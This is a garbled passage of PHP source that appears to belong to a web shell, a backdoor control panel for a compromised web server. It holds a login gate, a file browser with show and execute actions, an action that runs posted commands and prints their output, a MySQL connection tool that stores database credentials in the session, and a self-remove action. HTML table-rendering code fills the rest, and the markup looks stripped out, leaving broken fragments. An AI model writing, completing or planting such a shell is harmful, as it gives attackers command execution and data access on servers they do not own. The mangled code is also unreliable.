buildPageLogin(); else{ switch($_POST['cmd']){ case 'browser': $browserTools=new BrowserTools(); switch($_POST['method']){ case 'show': $this->buildPageStructure($browserTools->main($_POST['item'],false)); break; case 'execute': $this->buildPageStructure($browserTools->main($_POST['item'])); break; default: $this->buildPageStructure($browserTools->main('.')); break; } break; case 'logout': $this->logout(); break; case 'remove': $this->remove(); break; case 'php': $phpTools=new PhpTools(); switch($_POST['method']){ case 'execute': $util=New Util(); $run=$util->execute($_POST['item']); foreach($run as $row){ $resp[]=htmlentities(wordwrap($row,100,' ',TRUE),ENT_QUOTES); } $this->buildPageStructure($phpTools->main($resp)); break; default: $this->buildPageStructure($phpTools->main('')); break; } break; case 'mysql': $mySql=new MySQLTools(); switch($_POST['method']){ case 'connect': if(!empty($_POST['userdb'])&&!empty($_POST['serverdb'])&&!empty($_POST['portdb'])){ $_SESSION['userdb']=$_POST['userdb']; $_SESSION['passdb']=$_POST['passdb']; $_SESSION['serverdb']=$_POST['serverdb']; $_SESSION['portdb']=$_POST['portdb']; if($mySql->connect()){ $_SESSION['connected']=TRUE; $this->buildPageStructure($mySql->main()); } else{ $error="
';
if(is_array($run)){
foreach($run as $row)
$body.=$row."
";
}
$body.='
| File name | Permissions | Owner | Group | Size | Last modified | ';
if($result_array[0][0]=='d')
$structure.=' | ';
$structure.=''.htmlentities(wordwrap($result_array[0],50," ",TRUE),ENT_QUOTES).' | '; $structure.=''.htmlentities(wordwrap($result_array[2],50," ",TRUE),ENT_QUOTES).' | '; $structure.=''.htmlentities(wordwrap($result_array[3],50," ",TRUE),ENT_QUOTES).' | '; $structure.=''.htmlentities(wordwrap($result_array[4],50," ",TRUE),ENT_QUOTES).' | '; $structure.=''.htmlentities(wordwrap($result_array[5],50," ",TRUE),ENT_QUOTES).' '.htmlentities(wordwrap($result_array[6],50," ",TRUE),ENT_QUOTES).' '.htmlentities(wordwrap($result_array[7],50," ",TRUE),ENT_QUOTES).' | '; $structure.=''; } $structure.='
|---|
| '.htmlentities($row->name,ENT_QUOTES).' | '; $structure.='
|---|
| '.htmlentities($row,ENT_QUOTES).' | '; } $structure.='
| ".(htmlentities(wordwrap($data[0][$i],$split," ",TRUE),ENT_QUOTES))." | "; } } $body.='".htmlentities(wordwrap($data[$i][$j],$split," ",TRUE),ENT_QUOTES)." | "; } } $body.=""; } $body.='
|---|